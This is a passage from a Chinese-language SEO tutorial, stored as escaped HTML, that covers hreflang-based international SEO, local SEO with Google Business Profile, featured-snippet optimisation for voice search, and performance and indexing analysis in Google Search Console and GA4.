&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;/strong&gt;：&lt;strong&gt;对于绝大多数网站，这是最被推荐、也是最强大的方案&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;:::yellow[Subdomains]
&lt;strong&gt;结构&lt;/strong&gt;：&lt;code&gt;ja.chongxi.us&lt;/code&gt;, &lt;code&gt;en.chongxi.us&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;介于前两者之间。Google官方表示，他们现在能很好地处理子域名的权重传递，但SEO行业普遍认为，其权威性集中的效果仍然&lt;strong&gt;略逊于&lt;/strong&gt;子目录&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;/strong&gt;：当不同语言版本的网站在内容、设计甚至功能上有巨大差异，需要技术上完全隔离开时，可以考虑。例如，一个主站是电商，而日文站是一个纯内容博客
:::&lt;/p&gt;
&lt;h3&gt;12.2 核心技术实现&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;hreflang&lt;/code&gt; 是一个HTML &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; 标签属性，它的作用是向Google精确地声明：&lt;strong&gt;这个页面的德语版本在这里，日语版本在那里，而这个版本是默认的英文版&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::yellow[特性]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;解决重复内容问题&lt;/strong&gt;：&lt;br /&gt;
避免Google将你的《Arch Linux Installation Guide》的英文版和日文翻译版视为内容抄袭&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提供正确的搜索结果&lt;/strong&gt;：&lt;br /&gt;
确保日本用户在&lt;code&gt;google.co.jp&lt;/code&gt;上搜索时，能看到你的日文版文章，而不是英文版
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::red[实现规则]
以下实现极其严格，错一不可&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;相互引用 &lt;code&gt;Reciprocal&lt;/code&gt;&lt;/strong&gt;：&lt;br /&gt;
如果页面A链接到页面B，那么页面B&lt;strong&gt;也必须&lt;/strong&gt;链接回页面A&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自引用 &lt;code&gt;Self-referential&lt;/code&gt;&lt;/strong&gt;：&lt;br /&gt;
每个页面都&lt;strong&gt;必须&lt;/strong&gt;有一个指向自己的&lt;code&gt;hreflang&lt;/code&gt;标签&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包含&lt;code&gt;x-default&lt;/code&gt;&lt;/strong&gt;：&lt;br /&gt;
你应该指定一个默认或后备版本，当用户的语言或地区与你提供的任何版本都不匹配时，他们会被导向这个版本
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
假设文章有三个版本：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;英文版 (默认): &lt;code&gt;/en/music/xi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;日文版: &lt;code&gt;/ja/music/xi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;简体中文版: &lt;code&gt;/zh-hans/music/xi&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那么，在这&lt;strong&gt;三个页面&lt;/strong&gt;的HTML &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;区域，都&lt;strong&gt;必须&lt;/strong&gt;包含&lt;strong&gt;完全相同&lt;/strong&gt;的以下代码块：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```html
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;en&quot; href=&quot;/en/music/xi&quot; /&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;ja&quot; href=&quot;/ja/music/xi&quot; /&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;zh-Hans&quot; href=&quot;/zh-hans/music/xi&quot; /&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;x-default&quot; href=&quot;/en/music/xi&quot; /&amp;gt;
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;语言和地区代码&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;必须使用 &lt;strong&gt;ISO 639-1&lt;/strong&gt; 格式表示语言（如 &lt;code&gt;en&lt;/code&gt;, &lt;code&gt;ja&lt;/code&gt;, &lt;code&gt;zh&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;可以追加 &lt;strong&gt;ISO 3166-1 Alpha 2&lt;/strong&gt; 格式表示地区（如 &lt;code&gt;en-GB&lt;/code&gt; 表示英国英语，&lt;code&gt;en-US&lt;/code&gt; 表示美国英语）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;code&gt;zh-Hans&lt;/code&gt;和 &lt;code&gt;zh-Hant&lt;/code&gt;是例外，它们是脚本代码&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;部署方式&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTML &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;&lt;/strong&gt;：最常用，如上例&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP 响应头&lt;/strong&gt;：适用于非HTML文件（如PDF）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XML站点地图&lt;/strong&gt;：当页面数量巨大时，这是最高效、最推荐的管理方式
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;12.3 内容与服务器&lt;/h3&gt;
&lt;p&gt;技术标签只是基础，内容和体验才是决定成败的关键&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内容本地化，而非机翻&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不要简单地用Google翻译你的 &lt;em&gt;OpenWrt旁路由教程&lt;/em&gt; 你需要一个&lt;strong&gt;真正懂技术也懂目标语言&lt;/strong&gt;的人来做&lt;strong&gt;本地化&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;本地化意味着&lt;/strong&gt;：&lt;br /&gt;
将文章中的界面截图换成对应语言的版本、使用当地技术圈的惯用术语、甚至根据当地用户的网络环境（如ISP特点）提供特定的建议&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;服务器地理位置&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;虽然CDN在很大程度上解决了全球访问速度问题，但将你的服务器托管在你的主要目标用户所在的地区，仍然是一个积极的排名信号&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Google Search Console 地理位置定位&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对于使用&lt;strong&gt;gTLD&lt;/strong&gt;（如&lt;code&gt;.com&lt;/code&gt;, &lt;code&gt;.net&lt;/code&gt;, &lt;code&gt;.org&lt;/code&gt;）并采用&lt;strong&gt;子目录或子域名&lt;/strong&gt;方案的网站，你可以在GSC的旧版工具中找到&lt;strong&gt;International Targeting&lt;/strong&gt;去report&lt;/li&gt;
&lt;li&gt;你可以明确告诉Google：&lt;code&gt;/ja/&lt;/code&gt;子目录下的内容，是专门面向&lt;strong&gt;日本&lt;/strong&gt;用户的，这可以弥补gTLD在地理定位信号上的不足&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;国际化SEO非常精密，它要求你在URL架构上做出战略决策，在技术实现上严格遵守&lt;code&gt;hreflang&lt;/code&gt;规范，并在内容层面真正做到为本地用户着想。做好了，你就能真正地放眼全球；做错了，则可能导致一场混乱的SEO灾难，比如Google把你的各个翻译版本当作抄袭内容全给你干掉&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;13. 本地SEO&lt;/h2&gt;
&lt;p&gt;Local SEO 是一系列旨在提升你的业务或网站在&lt;strong&gt;特定地理区域&lt;/strong&gt;的搜索结果中可见性的优化策略。对于拥有实体店面、提供区域性服务的企业，或者希望吸引特定城市用户的本地社区博客来说，本地SEO是生死线&lt;/p&gt;
&lt;p&gt;它的核心逻辑是：当用户的搜索查询带有&lt;strong&gt;明确&lt;/strong&gt;（如广州 舞萌DX机厅）或&lt;strong&gt;隐含&lt;/strong&gt;（如在广州打开手机搜索 附近的舞萌机厅 ）的本地意图时，搜索引擎的排名算法会引入一组&lt;strong&gt;全新的、权重极高的本地排名因素&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;13.1 本地SEO三大核心&lt;/h3&gt;
&lt;h4&gt;13.1.1 邻近性 &lt;code&gt;Proximity&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;这是最简单粗暴，也是权重最高的因素&lt;br /&gt;
用户搜索时，离他物理位置越近的业务，排名越有优势。这一点我们几乎无法优化，它是物理意义上的定律&lt;/p&gt;
&lt;h4&gt;13.1.2 相关性 &lt;code&gt;Relevance&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;你的业务与用户的搜索查询有多匹配。这与我们之前讨论的传统SEO原则类似，但更侧重于本地化的内容和服务，你搜菜馆是绝对不可能弹出舞萌机厅的搜索结果的&lt;/p&gt;
&lt;h4&gt;13.1.2 知名度/权威性 &lt;code&gt;Prominence&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;你的业务在本地有多出名、多受好评、多被信任。这部分是我们优化的重点&lt;/p&gt;
&lt;h4&gt;13.2 Google Business Profile 的深度优化&lt;/h4&gt;
&lt;p&gt;Google Business Profile（曾用名Google My Business）是本地SEO的&lt;strong&gt;绝对核心&lt;/strong&gt;，是你在Google地图和本地搜索结果包中的&lt;code&gt;官方名片&lt;/code&gt;。你必须像对待你的网站一样，精细化地优化它&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;信息的准确与一致性&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NAP&lt;/strong&gt; 指的是 &lt;strong&gt;Name, Address, Phone&lt;/strong&gt;
这三个信息，必须在你全网所有的商业信息中，保持&lt;strong&gt;100%的、字符级的完全一致&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;你的GBP名称、官网联系页、本地行业网站上的公司名，是否完全一样?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XX科技 和 XX科技有限公司 在算法眼里就是两个不同的实体&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;地址的写法是否统一？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;人民路123号 &amp;amp; 人民路123号&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;电话号码格式是否一致？
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;NAP的全局一致性，是Google用来验证你业务真实性的核心信号。任何不一致都会让它对你的实体信息产生怀疑&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GBP分类&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;如果你有一个&lt;strong&gt;主要类别&lt;/strong&gt;和多个&lt;strong&gt;次要类别&lt;/strong&gt;。主要类别应选择最能代表你核心业务的那个&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个主要卖openwrt路由器技术支持服务的公司，主要类别应是 IT顾问 或 计算机支持与服务&lt;/li&gt;
&lt;li&gt;一个舞萌DX机厅，主要类别是 游乐中心 或 电玩城&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;尽可能详细地选择所有与你业务相关的次要类别
:::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;评论&lt;/strong&gt;
评论的数量、星级评分、以及&lt;strong&gt;评论内容中出现的关键词&lt;/strong&gt;，都是强烈的排名信号
:::blue[EXAMPLE]&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主动索要评论&lt;/strong&gt;：在服务完成后，通过邮件或短信，礼貌地邀请满意的客户留下评论，并可以直接提供你的GBP评论链接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;回复每一条评论&lt;/strong&gt;：无论是好评还是差评，都要专业、及时地回复。这向Google和用户展示了你的积极和负责。在回复中，可以自然地再次提及你的服务或产品名称
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Google Posts Q&amp;amp;A&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Google Posts&lt;/strong&gt;：相当于GBP上的一个迷你博客。你可以用它来发布最新活动、产品介绍、优惠信息。帖子有时效性，需要持续更新&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Q&amp;amp;A&lt;/strong&gt;：用户可以在你的GBP上提问。你应该&lt;strong&gt;主动&lt;/strong&gt;在这里发布一些常见问题并自己回答， preemptively地解决用户疑虑&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;13.3 站内本地化优化&lt;/h3&gt;
&lt;p&gt;你需要让你的网站内容也充满本地信号&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本地着陆页&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果你在多个城市提供服务，你应该为&lt;strong&gt;每个城市&lt;/strong&gt;创建一个独立的、内容独特的着陆页&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;code&gt;chongxi.us/openwrt-support/Tokyo&lt;/code&gt;
这个页面上应包含：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;标题和H1中明确包含城市名（如东京OpenWrt上门配置服务）&lt;/li&gt;
&lt;li&gt;页面正文中详细描述你在Tokyo地区的服务特色&lt;/li&gt;
&lt;li&gt;嵌入该地区办公室的Google地图&lt;/li&gt;
&lt;li&gt;展示来自Tokyo本地客户的评价。&lt;/li&gt;
&lt;li&gt;提供本地的电话号码
:::
&lt;strong&gt;&lt;code&gt;LocalBusiness&lt;/code&gt; Schema&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在你网站的联系页或页脚，部署&lt;code&gt;LocalBusiness&lt;/code&gt; Schema，用结构化的方式告诉搜索引擎你的NAP、营业时间等信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;13.4 本地引用&lt;/h3&gt;
&lt;p&gt;就是指在互联网上任何一个地方，提及了你的业务的NAP信息，&lt;strong&gt;即使没有链接到你的网站&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;来源一般是：本地商会网站、行业协会目录、在线地图（如高德、百度地图）、大众点评等&lt;br /&gt;
与GBP一样，&lt;strong&gt;保持NAP信息在所有引用来源中的100%一致性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;建议高强度自搜你自己的品牌，检查并修正那些不一致的引用信息&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;14. 对话AI SEO&lt;/h2&gt;
&lt;p&gt;语音搜索代表了搜索行为的一种演变：从&lt;strong&gt;关键词&lt;/strong&gt;到&lt;strong&gt;自然语言问句&lt;/strong&gt;。用户不再敲 OpenWrt adguardhome dns ，而是直接问智能音箱：嘿Google，怎么在OpenWrt上设置AdGuard Home来过滤DNS？&lt;/p&gt;
&lt;p&gt;为语音搜索优化，本质上是&lt;strong&gt;更好地回答问题&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;14.1 理解语音搜索查询的特点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;更长、更口语化&lt;/strong&gt;：语音查询平均更长，通常是完整的问句&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意图更明确&lt;/strong&gt;：通常是寻求一个直接、简洁的答案&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本地属性强&lt;/strong&gt;：大量语音搜索与“附近的...”相关&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;14.2 精选摘要&lt;/h3&gt;
&lt;p&gt;精选摘要是出现在Google搜索结果最顶部的、一个直接回答用户问题的特殊信息框。&lt;strong&gt;语音助手（如Google Assistant）在回答问题时，通常会直接朗读精选摘要的内容。&lt;/strong&gt; 因此，赢得精选摘要，就等于赢得了语音搜索&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;识别问题类查询&lt;/strong&gt;：用GSC或第三方工具，找出你的网站已经排在第一页的、以“如何”、“是什么”、“为什么”开头的查询&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提供简洁、直接的答案&lt;/strong&gt;：在你的文章中，紧跟着问题标题（H2/H3），用一段话（通常在40-60个词之间）直接、清晰地回答这个问题&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;H2&lt;/strong&gt;：&lt;code&gt;&amp;lt;h2&amp;gt;什么是OpenWrt的旁路由模式？&amp;lt;/h2&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;紧随其后的段落&lt;/strong&gt;：&lt;code&gt;&amp;lt;p&amp;gt;OpenWrt的旁路由模式，指的是在不改变现有主网络结构的前提下，将一台运行OpenWrt系统的设备作为旁路网关接入局域网。它不负责主要的路由和DHCP功能，而是专门处理特定任务，如广告过滤、科学上网或网络加速，实现对全屋设备的透明代理&lt;/code&gt;&lt;br /&gt;
这个段落的结构和长度，就是精选摘要的完美候选者&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;使用有序/无序列表&lt;/strong&gt;：对于步骤或列表类问题，使用&lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt;或&lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;标签来组织内容&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利用FAQPage Schema&lt;/strong&gt;：为页面上的问答内容部署&lt;code&gt;FAQPage&lt;/code&gt; Schema，可以增加你被选为精选摘要的几率
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;14.3 让内容更具对话性&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;写作风格&lt;/strong&gt;：在写作时，想象你是在直接回答一个朋友的问题。使用更自然、更口语化的语言&lt;br /&gt;
&lt;strong&gt;内容结构&lt;/strong&gt;：多使用问答式的结构来组织你的文章&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当然，注意受众，如果你的网站不需要对话式AI，那就没必要做此部分优化&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;15. 监控与优化&lt;/h2&gt;
&lt;h3&gt;15.1 Google Search Console&lt;/h3&gt;
&lt;p&gt;GSC是Google直接提供给你的免费工具，是所有SEO工作的起点和终点。它告诉你Google&lt;strong&gt;如何看待&lt;/strong&gt;你的网站&lt;/p&gt;
&lt;h4&gt;15.1.1 GSC基本设置&lt;/h4&gt;
&lt;p&gt;:::blue[基本设置]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;验证你的网站所有权&lt;/strong&gt;：
登录GSC，添加你的网站域名。Google会提供多种验证方式。对于技术人员，最推荐的是&lt;strong&gt;DNS记录&lt;/strong&gt;验证。你需要登录你的域名提供商（如Cloudflare），添加一条Google提供的TXT记录&lt;br /&gt;
这种方式一次验证，你的域名下所有的子域名和协议（http/https）都会被覆盖，一劳永逸&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提交你的Sitemap&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;左侧菜单栏 &amp;gt; 索引 &amp;gt; &lt;strong&gt;站点地图 (Sitemaps)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在“添加新的站点地图”输入框中，填入你站点地图的URL（比如&lt;code&gt;/sitemap.xml&lt;/code&gt;），然后点击提交&lt;/li&gt;
&lt;li&gt;这相当于你主动给Google递上了一份你网站的&lt;strong&gt;最新内容清单&lt;/strong&gt;。当你发布新内容后，只要你的站点地图更新了，就可以来这里重新提交一次（或者等Google自己来抓取）。这会&lt;strong&gt;加快新内容的发现速度&lt;/strong&gt;。提交后，你可以看到Google是否成功处理了你的站点地图，以及发现了多少个URL。如果状态显示“有错误”，你必须点进去查看详情并修复它
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;15.1.2 解读Performance&lt;/h4&gt;
&lt;p&gt;这是你最常访问的报告。它告诉你，用户在Google上&lt;strong&gt;搜了什么&lt;/strong&gt;，&lt;strong&gt;看到了你几次&lt;/strong&gt;，&lt;strong&gt;点击了你几次&lt;/strong&gt;，以及你&lt;strong&gt;排在第几&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;总点击次数 (Total clicks)&lt;/strong&gt;：用户从Google搜索结果点击进入你网站的次数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;总展示次数 (Total impressions)&lt;/strong&gt;：你的网页出现在用户搜索结果屏幕上的次数。只要出现就算，不一定被用户看到或点击&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;平均点击率 (Average CTR)&lt;/strong&gt;：&lt;code&gt;点击次数 / 展示次数&lt;/code&gt;。这是衡量你的搜索结果&lt;strong&gt;吸引力&lt;/strong&gt;的核心指标&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;平均排名 (Average position)&lt;/strong&gt;：你的网页在搜索结果中的平均位置
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::yellow[实战分析 I]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入“效果”报告。在下方的表格中，点击“查询 ”标签页。点击筛选器按钮（三条横线），设置&lt;code&gt;排名 小于 10.1&lt;/code&gt;（筛选出排在第一页的结果）。然后，点击表格头部的“展示次数”进行降序排列&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;寻找那些&lt;strong&gt;展示次数很高&lt;/strong&gt;，但&lt;strong&gt;CTR明显低于&lt;/strong&gt;其所在位置应有水平的关键词&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;排名第1的CTR约25-30%，第3约10-15%，第5约5-8%，第10约1-2%&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;你发现你的查询“&lt;strong&gt;Arch Linux i3wm 配置&lt;/strong&gt;”每月有20000次展示，平均排名是4.5，但CTR只有2%&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;这意味着你的内容质量足够好，Google愿意把它排在首页靠前的位置。但是，当用户看到你的搜索结果时，他们&lt;strong&gt;没有选择点击你&lt;/strong&gt;。问题99%出在你的&lt;strong&gt;门面&lt;/strong&gt;上，你的&lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt;标签和&lt;code&gt;&amp;lt;meta name=&quot;description&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;4.&lt;strong&gt;立即去Google搜索这个词&lt;/strong&gt;，看看排在你前面和后面的竞争对手的标题是怎么写的。他们是不是用了[终极指南]、[附完整配置文件]、等更吸引人的字眼？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;重写你的标题和描述&lt;/strong&gt;。不要只是Arch Linux i3wm 配置。尝试改成：&lt;strong&gt;从零开始的Arch Linux i3wm美化指南 (附Polybar/Rofi/Picom完整配置)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提交URL以供重新索引&lt;/strong&gt;：修改完代码后，复制这个页面的URL，粘贴到GSC顶部的“检查任何网址”输入框中，回车。在检查结果页面，点击“&lt;strong&gt;请求编入索引 (Request Indexing)&lt;/strong&gt;”。这会告诉Google你更新了页面，主动请求索引&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;持续追踪&lt;/strong&gt;：在接下来的一两周内，每天回到这个报告，筛选出这个关键词，观察它的CTR是否有了显著提升
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::yellow[实战分析 II]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在“效果”报告中，设置筛选器&lt;code&gt;排名 大于 10.1&lt;/code&gt; 且 &lt;code&gt;排名 小于 30.1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这里列出的，就是所有排在Google第二、三页的关键词。这些就是潜力股&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你发现“&lt;strong&gt;OpenWrt DNS泄露&lt;/strong&gt;”这个查询，你排在第18位&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这说明Google已经认可了你页面的相关性，但还不足以让它登上首页。你需要给它临门一脚让他飞起来&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开你对应的文章。你是否只讲了基础配置？你能不能补充一节，专门讲如何通过iptables规则来&lt;strong&gt;强制接管所有设备的DNS请求&lt;/strong&gt;，来尝试杜绝DNS泄露？你能不能加入一段关于&lt;strong&gt;DoH/DoT&lt;/strong&gt;的对比和配置方法？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在你网站其他高权重的相关文章里（比如你的《OpenWrt旁路由配置指南》），找到合适的锚文本（比如“防止DNS泄露”），链接到你这篇排在第18位的文章。这相当于用你站内的明星页面给这个潜力页面投了一张信任票&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果可能的话，去相关的技术论坛（如恩山、V2EX），看看有没有人在讨论DNS泄露问题，你可以提供专业的解答，并在签名或回答中自然地附上你的文章链接
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;15.1.3 解读Indexing&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;：左侧菜单栏 &amp;gt; 索引 &amp;gt; &lt;strong&gt;网页 (Pages)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心关注&lt;/strong&gt;：
报告分为“&lt;strong&gt;已编入索引&lt;/strong&gt;”和“&lt;strong&gt;未编入索引&lt;/strong&gt;”两部分。你需要重点关注“&lt;strong&gt;未编入索引&lt;/strong&gt;”的原因
:::blue[EXAMPLE]
你在“未编入索引”的原因列表中，看到“&lt;strong&gt;已发现 - 当前未编入索引 (Discovered - currently not indexed)&lt;/strong&gt;”下面有50个网址&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;诊断&lt;/strong&gt;：这是个坏消息。意思是Google的爬虫已经发现了这些URL（通过站点地图或链接），但它认为这些页面的&lt;strong&gt;质量太低&lt;/strong&gt;，以至于连进入它索引库的初审资格都没有。这可能是因为内容太单薄、与其他页面高度重复，或者是新网站权威性太低，Google不愿意分配索引配额给你&lt;/p&gt;
&lt;p&gt;你应当&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;逐个审查这些URL&lt;/strong&gt;。它们是不是你自动生成的、没有什么实质内容的标签页或归档页？如果是，让它们&lt;code&gt;noindex&lt;/code&gt;掉&lt;/li&gt;
&lt;li&gt;如果这些是你用心写的好文章，那问题就出在&lt;strong&gt;内容质量&lt;/strong&gt;或&lt;strong&gt;网站权威性&lt;/strong&gt;上。你需要：把文章写得更深入、更有见地，也可以为这些页面从站内和站外获取更多高质量的链接
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;15.2 Google Analytics 4&lt;/h3&gt;
&lt;p&gt;GA4告诉你用户&lt;strong&gt;进入你的网站后&lt;/strong&gt;都做了什么。它能帮你判断你的内容是否真的满足了用户需求&lt;/p&gt;
&lt;p&gt;:::yellow[实战分析 I]
识别叫好不叫座的内容&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;：报告 &amp;gt; 互动度 &amp;gt; &lt;strong&gt;着陆页 (Landing pages)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这个报告列出了用户进入你网站的第一个页面。默认按“用户数”排序。现在，点击表头的“&lt;strong&gt;平均互动时长 (Average engagement time)&lt;/strong&gt;”进行升序排列&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你发现你的《舞萌DX全曲目列表》页面，虽然带来了很多用户（用户数列前茅），但平均互动时长只有&lt;strong&gt;15秒&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;诊断&lt;/strong&gt;：用户来了，但马上就走了&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;这通常意味着：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你的页面加载太慢&lt;/li&gt;
&lt;li&gt;页面设计混乱，用户找不到想要的信息&lt;/li&gt;
